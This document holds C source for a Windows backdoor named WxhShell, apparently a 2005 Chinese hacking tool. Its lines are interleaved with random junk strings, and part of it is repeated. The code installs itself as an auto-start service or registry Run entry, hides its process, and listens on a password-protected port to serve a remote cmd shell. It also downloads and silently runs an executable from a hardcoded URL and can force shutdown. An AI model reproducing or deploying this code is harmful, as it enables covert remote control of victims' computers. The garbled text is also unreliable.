g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h?M'7Lti g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a?f5(qW3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e/ppZ> o%QhV6(F if (!NtQueryInformationProcess) return 0; WcQZFtW #<^/yoH7C6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uugzIV) if(!hProcess) return 0; .oB'ttF1 y$"~^8"z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C: TuC5Sr jp\JwE CloseHandle(hProcess); oQKcGUZ [7CH(o1a& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7zi^{] if(hProcess==NULL) return 0; s7X~OF(# K[Ws/yc^a HMODULE hMod; oc,U4+T char procName[255]; bDcWb2lqs unsigned long cbNeeded; JRcuw'8+q Fb$5&~d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?.|wfBI :$u{ CloseHandle(hProcess); 8=b{'s^^F A@lhm`Aa if(strstr(procName,"services")) return 1; // 以服务启动 ACMpm~C8Gu 8O}A/*1FJ return 0; // 注册表启动 &)/H?S;yN } j/; @P pU\xzL D // 主模块 zS>:7eG int StartWxhshell(LPSTR lpCmdLine) xw/h~:NT { UeC%Wa<[ SOCKET wsl; P+D|_3j BOOL val=TRUE; C'xU=OnA8 int port=0; Mf,Mcvs struct sockaddr_in door; h1D~AgZOVj z.\[Va$@l if(wscfg.ws_autoins) Install(); '+GVozc6c" <y b=! port=atoi(lpCmdLine); *=KexOa9 '44nk(hM69 if(port<=0) port=wscfg.ws_port; tS*^}e* cnjj)
c WSADATA data; [ a65VR~J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RF\1.HJG oVxV,oH( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tkUW)ScJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y}H*p door.sin_family = AF_INET; Y+Q,4s door.sin_addr.s_addr = inet_addr("127.0.0.1"); `)xU;- door.sin_port = htons(port); +{ ,w#@ U+3PqWB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xN":2qy#T closesocket(wsl); ct|'I]nB.h return 1; n!EH>'T } 3:CQMZ|;@ &t=>:C$1Y if(listen(wsl,2) == INVALID_SOCKET) { Wy0a2Ve closesocket(wsl); 1V?Sj return 1; 6DiA2'{f } D2wgSrY Wxhshell(wsl); `'tw5} WSACleanup(); O7#}8-@}<u bQnwi?2 return 0; th>yi)m ;V}FbWz^v6 } * y"GgI Ar{=gENn // 以NT服务方式启动 vNwSZ{JBd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;@ ! d!& { S0o,)`ZB DWORD status = 0; \gk3w,B?E DWORD specificError = 0xfffffff; )v$Cv|" @|*Z0bn' serviceStatus.dwServiceType = SERVICE_WIN32; e7j]BzGvl serviceStatus.dwCurrentState = SERVICE_START_PENDING; L)//-
k9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +#*z"a` serviceStatus.dwWin32ExitCode = 0; :J)lC = serviceStatus.dwServiceSpecificExitCode = 0; ,Elga}7u serviceStatus.dwCheckPoint = 0; DF&jZ[## serviceStatus.dwWaitHint = 0; dXcMysRc%& N<i Vs hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Hd@U&E if (hServiceStatusHandle==0) return; 7=ga_2 >kLH6. status = GetLastError(); (nZ=9+j]d if (status!=NO_ERROR) uB)6\fkTB { .f!eRV.& serviceStatus.dwCurrentState = SERVICE_STOPPED; RU ,N_GV
serviceStatus.dwCheckPoint = 0; 0?*I_[Y serviceStatus.dwWaitHint = 0; !`S%l1[Z serviceStatus.dwWin32ExitCode = status; #5"<.z serviceStatus.dwServiceSpecificExitCode = specificError; keq[6Lv SetServiceStatus(hServiceStatusHandle, &serviceStatus); f"=4,
return; =)UiI3xHk } Q*J ~wuE2 TH}ycue serviceStatus.dwCurrentState = SERVICE_RUNNING; YKS'#F2 serviceStatus.dwCheckPoint = 0; $Q7E# serviceStatus.dwWaitHint = 0; QbKYB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aw@Aoq } 'krMVC- an5kR_= // 处理NT服务事件,比如:启动、停止 ,/?V+3l VOID WINAPI NTServiceHandler(DWORD fdwControl) aFm]?75 { d4eC Bqx switch(fdwControl) rL+n$p
X- { n^(yW case SERVICE_CONTROL_STOP: gm8Tm$fY serviceStatus.dwWin32ExitCode = 0; $.]t1e7s serviceStatus.dwCurrentState = SERVICE_STOPPED; RxeRO2 serviceStatus.dwCheckPoint = 0; )A+j serviceStatus.dwWaitHint = 0; s^X/
Om { DlkKQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]`B;aE>A* }
O,,n return; *B~:L"N case SERVICE_CONTROL_PAUSE: v{*X@)$ serviceStatus.dwCurrentState = SERVICE_PAUSED; _ G*x:< break; 3g
"xm case SERVICE_CONTROL_CONTINUE: TF3q?0 serviceStatus.dwCurrentState = SERVICE_RUNNING; }8]uZ)[p= break; .A[.?7g case SERVICE_CONTROL_INTERROGATE: JfINAaboi break; ,* vnt6C* }; (cew:z
H SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7aDl8L xn } %v)'`|i Ip|^?uyrk // 标准应用程序主函数 vo<#sa^,j int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8BH)jna`Qo { Leick6 Wn#JYp // 获取操作系统版本 v})Ti190 OsIsNt=GetOsVer(); a7d- GetModuleFileName(NULL,ExeFile,MAX_PATH); 12DdUPOi nMvIL2:3 // 从命令行安装 kb\v}gfiD/ if(strpbrk(lpCmdLine,"iI")) Install(); |.8=gS5 KKXb,/ // 下载执行文件 tU2;Wb!Y if(wscfg.ws_downexe) { zLK
~i>aW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~\IDg/9Cj WinExec(wscfg.ws_filenam,SW_HIDE); aC]l({-0 } ")gCA:1- 3E@&wpj if(!OsIsNt) { 3Qr!?=nf // 如果时win9x,隐藏进程并且设置为注册表启动 &rWJg6/ HideProc(); EUS]Se2 StartWxhshell(lpCmdLine); l"!;Vkg.5 } <RsKV$Je
I else Kd1\D!#!6 if(StartFromService()) %,q#f# // 以服务方式启动 ,#;ahwU~s StartServiceCtrlDispatcher(DispatchTable); IL"#TKKv else E4ee_`p // 普通方式启动 fy4JW,c StartWxhshell(lpCmdLine); %4^/.) Q =YsTF T return 0; K'/x9.'% } F5q1VEe OHvzK8 ?0&>?-? Lcb59Cs6e =========================================== L6#d M_)T=s * vt=S0X^$yc e|9Bzli{ DNO%J^ ebVfny$D " x G"p. NdQ?3'WJ #include <stdio.h> jC8BLyGE_ #include <string.h> ^Wz{su2 #include <windows.h> yYtki #include <winsock2.h> EwZt/r #include <winsvc.h> Kg67cmj)f #include <urlmon.h> O]!DNN DcDGrRuh #pragma comment (lib, "Ws2_32.lib") Gukq}ZQ d #pragma comment (lib, "urlmon.lib") %LW~oI. '(>N
gd[ #define MAX_USER 100 // 最大客户端连接数 ?`}U|]c #define BUF_SOCK 200 // sock buffer t\0JNi$2 #define KEY_BUFF 255 // 输入 buffer m_f^#: jzp%.4/j #define REBOOT 0 // 重启 hlEvL #define SHUTDOWN 1 // 关机 5Ozj&Zq 86Vu PV- #define DEF_PORT 5000 // 监听端口 2*FZ@?X@r 3=I Q #define REG_LEN 16 // 注册表键长度 C@W0fz #define SVC_LEN 80 // NT服务名长度 O$^YUHD 8Qy |;T} // 从dll定义API K_.x(Z(;4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (dZ&Af typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (<-0UR]%q; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {,srj['RS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KWMH|sxO= A
76yz`D // wxhshell配置信息 mL+ps x+ struct WSCFG { [%q":Ig int ws_port; // 监听端口 %hQ`b$07t char ws_passstr[REG_LEN]; // 口令 Z)0R$j`2 int ws_autoins; // 安装标记, 1=yes 0=no -fn~y1 char ws_regname[REG_LEN]; // 注册表键名 @)wXP@7 char ws_svcname[REG_LEN]; // 服务名 }c:0cl char ws_svcdisp[SVC_LEN]; // 服务显示名 8t; nU;E* char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jy$-) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5=e@yIr'# int ws_downexe; // 下载执行标记, 1=yes 0=no $]86w8?-N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?~8V;Qn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tO$M[P=b >MLqOUr# }; ~Q\[b%>J pTd@i1%Nr // default Wxhshell configuration 1' s^W struct WSCFG wscfg={DEF_PORT, i^Q^F "xuhuanlingzhe", cl5 :|) 1, <L0_<T "Wxhshell", iLei-\w6y "Wxhshell", vzPrG%Uu7g "WxhShell Service", KxI(#}5o& "Wrsky Windows CmdShell Service", >ZWm0nTr "Please Input Your Password: ", ='azVw%_ 1, )JON&~C "http://www.wrsky.com/wxhshell.exe", XZJx3!~fm "Wxhshell.exe" +(T,d ]o] }; :}cAq/ elQ44)TrQ // 消息定义模块 K+H82$
# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cA,xf@itp char *msg_ws_prompt="\n\r? for help\n\r#>"; N0NMRU]zT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PT=%]o] char *msg_ws_ext="\n\rExit."; NO)*UZ char *msg_ws_end="\n\rQuit."; 4}`MV . char *msg_ws_boot="\n\rReboot..."; ?e*vvu33! char *msg_ws_poff="\n\rShutdown..."; ~$<@:z{* char *msg_ws_down="\n\rSave to "; -i4gzak Px`yD3 char *msg_ws_err="\n\rErr!"; GfV9Ox char *msg_ws_ok="\n\rOK!"; LE"xZxe -lHJ\= char ExeFile[MAX_PATH]; W%x#ps5% int nUser = 0; ZO}*^ HANDLE handles[MAX_USER]; 5NK:94&JE int OsIsNt; z
Ey&%Ok 9i@*\Ada SERVICE_STATUS serviceStatus; |tkmO: SERVICE_STATUS_HANDLE hServiceStatusHandle; F);C?SW" b
$!l*r // 函数声明 a+d|9y/k int Install(void); Uz6B\-(0p int Uninstall(void); Vj1AW< int DownloadFile(char *sURL, SOCKET wsh); ?0F#\0 int Boot(int flag); C" {j0X` void HideProc(void); u]"RAH int GetOsVer(void); n=~?BxB int Wxhshell(SOCKET wsl); l}{O void TalkWithClient(void *cs); (s~hh int CmdShell(SOCKET sock); snrfHDhUw int StartFromService(void); 1'iRx, int StartWxhshell(LPSTR lpCmdLine); 49yN|h;c! /TdTo@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #frhO;6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wp ]u0w pc #^{- // 数据结构和表定义 f>o@Y]/l SERVICE_TABLE_ENTRY DispatchTable[] = pa7fTd
{ -HOCxR {wscfg.ws_svcname, NTServiceMain}, Z|.z~53; {NULL, NULL} 1*5n}cU~ }; fw5AZvE6$ 3!I8J:GZ: // 自我安装 l[gL(p"W int Install(void) 5|Uub, { )+J?(&6 char svExeFile[MAX_PATH]; | e+m!G1G HKEY key; 15B$Sp!/`e strcpy(svExeFile,ExeFile); ZD*>i=S g`6S*&8I // 如果是win9x系统,修改注册表设为自启动 K%;O$
> if(!OsIsNt) { !zeBxR$&o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^^Y0 \3. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IkupW|}rc RegCloseKey(key); x&sF_<[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ({)_[dJ' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q
/#O :Q RegCloseKey(key); m1TPy-|1 return 0; Z`[j;=[ } rq=R},p } ,YH.n>`s+ } {)G3*>sG3 else { >?5`FC .Xr_BJ _ // 如果是NT以上系统,安装为系统服务 {\k9%2V*+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mc.KLz&,FC if (schSCManager!=0)
:geXplTx { u%2u%-w SC_HANDLE schService = CreateService Y?> S.B7 ( dJkTHmw schSCManager, f!87JE=< wscfg.ws_svcname, 4h|D[Cb] wscfg.ws_svcdisp, R,(^fM SERVICE_ALL_ACCESS, !R-UL#w9W' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <1ai0] SERVICE_AUTO_START, HtMlSgx,8> SERVICE_ERROR_NORMAL, oY{*X6:6< svExeFile, o)NWsUXf NULL, {KR/TQ?A NULL, W1#3+ NULL, {T$;BoR#O
NULL, x9uA@$l^| NULL d;f,vN( ); 0FXM4YcrJO if (schService!=0) bw@tA7Y { 8F%TZM CloseServiceHandle(schService); Z:'2puU+? CloseServiceHandle(schSCManager); Dq\#:NnKvx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S_^ "$j strcat(svExeFile,wscfg.ws_svcname); hcej?W8j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i;)88 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JjM^\LwKkL RegCloseKey(key); !
$n^Ze2 ! return 0; W2REwUps } p_qH7W } ]TGJ|X CloseServiceHandle(schSCManager); z\fk?Tj<ro } 7FWf,IjcGY } {C
7= ]RxNSr0e return 1; &:Q""e! } 1cUC>_%? |%$d/<<PZ // 自我卸载 l*h6JgU int Uninstall(void) A+?n=IHh { O'(qeN<^w HKEY key; f3nib8B' Y~Zg^x2 if(!OsIsNt) { ])e6\) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B} &C
h RegDeleteValue(key,wscfg.ws_regname); h$lY,7
RegCloseKey(key); E]Kd`&^} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7m8L!t9 RegDeleteValue(key,wscfg.ws_regname); T
`N(=T^* RegCloseKey(key); Xa-]+_?Q return 0; 9gjx!t>`H } tEb2>+R } XfB;^y=u8 } 2 !{P< else { >5 Ce/P'R 5o&L|7] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S&|$F2M if (schSCManager!=0) 5-n N8qs { @w@rW
}i0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x`a@h\n if (schService!=0) <OpiD%Ctx { e;Q~P]x if(DeleteService(schService)!=0) { w:pc5N>we0 CloseServiceHandle(schService); iTD{ CloseServiceHandle(schSCManager); =PXNg!B}D* return 0; I_v]^>Xw } 8 #0? CloseServiceHandle(schService); /K'Kx } iPxSVH[ CloseServiceHandle(schSCManager); 3<B{-z } <;M 6s~ } yl|+D] p_tMl%K return 1; 'tF<7\! } K&Zdk (l) mh|M O( // 从指定url下载文件 H,] D}r int DownloadFile(char *sURL, SOCKET wsh) ;b(/PH!O { Zuwd(q
HRESULT hr; BC&Et62* char seps[]= "/"; g~N)~]0{ char *token; ^1}}-9q char *file; hX_;gR&R char myURL[MAX_PATH]; >C@fSmnOM char myFILE[MAX_PATH]; a ipvG df}B:?Ew. strcpy(myURL,sURL); fyT! / token=strtok(myURL,seps); IiSO{ while(token!=NULL) 3vDV
{ 852$Ui|I file=token; .] 5&\ token=strtok(NULL,seps); N\mV+f3A@, } Q"%L %x L3=4\ GetCurrentDirectory(MAX_PATH,myFILE); POx~m strcat(myFILE, "\\"); :Ruj;j strcat(myFILE, file); jt;68SA
P send(wsh,myFILE,strlen(myFILE),0); HnZrRHT0 send(wsh,"...",3,0); {{:MJ\_"h_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ("wPkm^ if(hr==S_OK) CEt_wKzf return 0; E/Y.f else wHdq :,0-! return 1; 0W#.$X5 e(j"u;= } iQS?LksQX h(jg7R // 系统电源模块 p}N'>+@= int Boot(int flag) !j [U { 3KP6M= HANDLE hToken; $
5 TOKEN_PRIVILEGES tkp; Z5_MSPm }Li24JK if(OsIsNt) { ^PO0(rh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yP~D." LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w~Es,@ tkp.PrivilegeCount = 1; "0nto+v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sg{>-KHM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P !6r`d if(flag==REBOOT) { [R6du*P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i7:j(W^I8 return 0; Pqx=j_st } 8%I4jL< else { 7S),:Uy[\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RVX-3FvP return 0; Aln\:1MU } T3Qa[>+\ } B3e{'14 else { .#EmE'IP* if(flag==REBOOT) { :8MpSvCV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AgO:"'c return 0; 7_n@iUG2n } M {_`X else { KYd2=P6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MZ6?s(mkx return 0; '9H]SEw } MX6;ww } `fc2vaSH = T<?JL.8 g_ return 1; (N0G[(> } *}A J7] |_
E)2b:h // win9x进程隐藏模块 WZ;f3
" void HideProc(void) .u)Po;e` { E.4`aJ@>d Q_qc_IcM y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mp%i(Y"vp if ( hKernel != NULL )
jats)!: { 9Jaek_A` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X{<j%PdC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OV Iu&6# FreeLibrary(hKernel); a*KB'u6& } cPkN)+K dy#dug6j return; Z#nj[r!l} } bsR&%C kT!FC0E{ // 获取操作系统版本 D 0\
int GetOsVer(void) jvCk+n[ { UACWs3`s+ OSVERSIONINFO winfo; /|P&{! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kce+aiv|u GetVersionEx(&winfo); Dm"GCV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E;9SsA
return 1; @ 4j#X else {pm>F}Cwy return 0; ]7fqVOiOu } rW&8#& > & \QLo[5 // 客户端句柄模块 G}AfCd4 int Wxhshell(SOCKET wsl) ^+Ec}+ Q { e(,sFhR SOCKET wsh; r[JgCj+$& struct sockaddr_in client; wYOSaGyZ0I DWORD myID; Ik(TII_ 7P.C~,+D%P while(nUser<MAX_USER) t/#[At5p= { 9#@dQ/* int nSize=sizeof(client); nkSYW]aQ1g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cj31' if(wsh==INVALID_SOCKET) return 1; Y_xPr%%A GadQ \> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4-lEo{IIM if(handles[nUser]==0) vn KKK. E closesocket(wsh);
3QL'uk else PGOi#x nUser++; )CSb\ } Lg
sQz(- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /t01z~_ e{>X2UNW return 0; Wx;:_F7'\ } Yq $(Ex vLXN{ ] // 关闭 socket `/Zi=.rr void CloseIt(SOCKET wsh) r}+U1l3#2 { x3MV"hm2 closesocket(wsh); 8~u#?xs6 nUser--; ry/AF ExitThread(0); =O<Ul~JRK } O)kC[e4 ~Q0gSazXFt // 客户端请求句柄 0~<d<a -@ void TalkWithClient(void *cs) ;%"UZ~]f { }`{aeVHT ?
!MDg_oHd SOCKET wsh=(SOCKET)cs; \8'fy\ char pwd[SVC_LEN]; e #>wv]V char cmd[KEY_BUFF]; 6NVf&;laQ char chr[1]; {*r*+}@ int i,j; `Jq
?+W tq8B)<(] while (nUser < MAX_USER) { 2a3hm8%U SYOND>E if(wscfg.ws_passstr) { hCQzD2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KLGhsx35 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~B'K_# //ZeroMemory(pwd,KEY_BUFF); #Wey)DI i=0; 3U!\5Nsby while(i<SVC_LEN) { Ig-9Y;hdmn XI~2Vzht // 设置超时 np}F [v fd_set FdRead; T9osueh4 struct timeval TimeOut; !=;^Grv> FD_ZERO(&FdRead); TartV3;` FD_SET(wsh,&FdRead); (`>RwooE TimeOut.tv_sec=8; %K@D{)r_^ TimeOut.tv_usec=0; ==F[5]? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h3$.`
>l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U
N 1HBW; : |#Iw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r DX_$,3L pwd=chr[0]; Z$ {I4a if(chr[0]==0xd || chr[0]==0xa) { N 3i,_ pwd=0; TL ;2,@H` break; +/*g?Vt } [cv7s=U% i++; (%ra~s? } ZRf-V9 :vz_f$= // 如果是非法用户,关闭 socket .Wv2aJq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T^x7w+ } m646|G5 J*Dj`@`4`g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -9Wx;u4]o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%q0fj8b S 0eD
2 while(1) { 6UXa
5t
(Hb
i+IHV ZeroMemory(cmd,KEY_BUFF); US A!N X2hV)8Sk // 自动支持客户端 telnet标准 x]&V7Y j=0; $`W.9 while(j<KEY_BUFF) { U$@p"F@P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHk/Rg%< cmd[j]=chr[0]; axW3#3#` if(chr[0]==0xa || chr[0]==0xd) { -yHVydu= cmd[j]=0; RUC
V!L break; 4#MvOjA5[ } 2cY7sE068 j++; TK<~(Dk } dPwe.: <cW$
\P}hV // 下载文件 Va/LMw if(strstr(cmd,"http://")) { T>2) YOx send(wsh,msg_ws_down,strlen(msg_ws_down),0); d?C8rkV' if(DownloadFile(cmd,wsh)) cobq+Iyu send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/y 3]} else M)C.bo{p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }2:/&H' } w'oP{=y[ else { SV}q8z\ p(in.Xz switch(cmd[0]) { >H?l[*9 +e+hIMur // 帮助 u POmiF case '?': { XP~bmh,T, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &@u;xc| v break; -fFM-gt^t } L\|p8jJ // 安装 xq+$Q:f case 'i': { vU0j!XqE if(Install()) OQ;'Xo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Aw.aQ~E8i else zc>/1>?M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VRurn>y0 break; L\_MZ*<0[ } R`q*a_ // 卸载 mk.:V64 >; case 'r': { +a_eNl, if(Uninstall()) mJe;BU"y] send(wsh,msg_ws_err,strlen(msg_ws_err),0); /{Ksi+q else .q$HL t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G{
~pA4 break; 01<~~6A } 12BTZ // 显示 wxhshell 所在路径 0j\?zt? case 'p': { A@-nn] char svExeFile[MAX_PATH]; l&2A]5C strcpy(svExeFile,"\n\r"); 5RCQ<1 strcat(svExeFile,ExeFile); T8+A`z=tSb send(wsh,svExeFile,strlen(svExeFile),0); . #`lW7 break; %SuEfCM } :fz&)e9 // 重启 >fRI^Q, case 'b': { Q/&H3N send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sN0S~}F+ if(Boot(REBOOT)) N)|mA)S) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1CK}XLdr else { F`KA^ZI closesocket(wsh); ,DsqKXSU ExitThread(0); rKEi1b } D{g6M>,\ break; +ptVAg+ } +InAK>NZ' // 关机 7WK^eW"y8 case 'd': {
T[*1*303 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z ?` if(Boot(SHUTDOWN)) Qz/o-W; send(wsh,msg_ws_err,strlen(msg_ws_err),0);
C%#=@HC else { K0$8t%Z. closesocket(wsh); ; mnV)8:F ExitThread(0); ^Uss?)jN4 } 17g\XC@ Cl break; tj/X7| } rUvjc4O} // 获取shell _1jd{?kt case 's': { `(s&H8x# CmdShell(wsh); $/^DY& closesocket(wsh); ~?i;~S ExitThread(0); 7pH`"$ break; (8DJf"} } FG]xn(E // 退出 `t_S uZ`V case 'x': { dU%Q=r8R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?oF+?l CloseIt(wsh); EfHo1Yn& break; EUH&"8
L } ^_W+ // 离开 DZo7T! case 'q': { 0gdFXh$!e send(wsh,msg_ws_end,strlen(msg_ws_end),0); 88(h`RGMh closesocket(wsh); h?E[28QB WSACleanup(); G q%q x4 exit(1); [@d$XC]Qz break; K P{|xQ> } feM%- } |"h# Q[3 } 3aIP^I1 vf6_oX<Os // 提示信息 |hBX" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KW.*LoO } v5STe` } 9}p>=' .?{rd3[ec return; -4ityS
@ } ^uB9EP*P ?m.WqNBH7 // shell模块句柄 S9/oBxGN int CmdShell(SOCKET sock) 8xs}neDg* { _GEt:=DAP# STARTUPINFO si; I3 /^{-n ZeroMemory(&si,sizeof(si)); [>+R|;ln si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JGQlx-qv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M#o.$+Uh PROCESS_INFORMATION ProcessInfo; ZC}'! $r7 char cmdline[]="cmd"; sb"z=4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S o>P)d$8+ return 0; x\taG.'zX } (A!+$}UR X"_,#3Ko! // 自身启动模式 gc``z9@Xg int StartFromService(void) }uWIF|h~ { iSDE6 typedef struct | R MIV { Py2AnpYa DWORD ExitStatus; %:i; eUKR DWORD PebBaseAddress; 2fZVBj DWORD AffinityMask; M-inlZNR DWORD BasePriority; 69#mj*p@+ ULONG UniqueProcessId; mS?.xu ULONG InheritedFromUniqueProcessId; K@av32{ } PROCESS_BASIC_INFORMATION; Ln6\Iis G.v zz-yG PROCNTQSIP NtQueryInformationProcess; K_/-mwA v P$LHsg] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o,o,(sII static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9G njJ nx{_^sK HANDLE hProcess; 'Cw&9cL9w PROCESS_BASIC_INFORMATION pbi; b[5$$_[ R@*mMWW, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6)<g%bH! if(NULL == hInst ) return 0; (-k`|X" 1, 5"sQ$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vl=!^T}l+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b4NUx)%ln NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YrlOvXW "^sh:{ if (!NtQueryInformationProcess) return 0; zxN,ys cuv?[M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kU uDA><1 if(!hProcess) return 0; +/!kL0[v Ik{[BRzUgt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @tv3\eD poJ7q ( CloseHandle(hProcess); Bw5zh1ALC; n-X;JYQW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [C1.*Q+l if(hProcess==NULL) return 0; 50MdZ;R-3 z1wJ-l HMODULE hMod; w-f[h char procName[255]; P#e1? unsigned long cbNeeded; M#<U=Ha !~X[qT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s?qRy
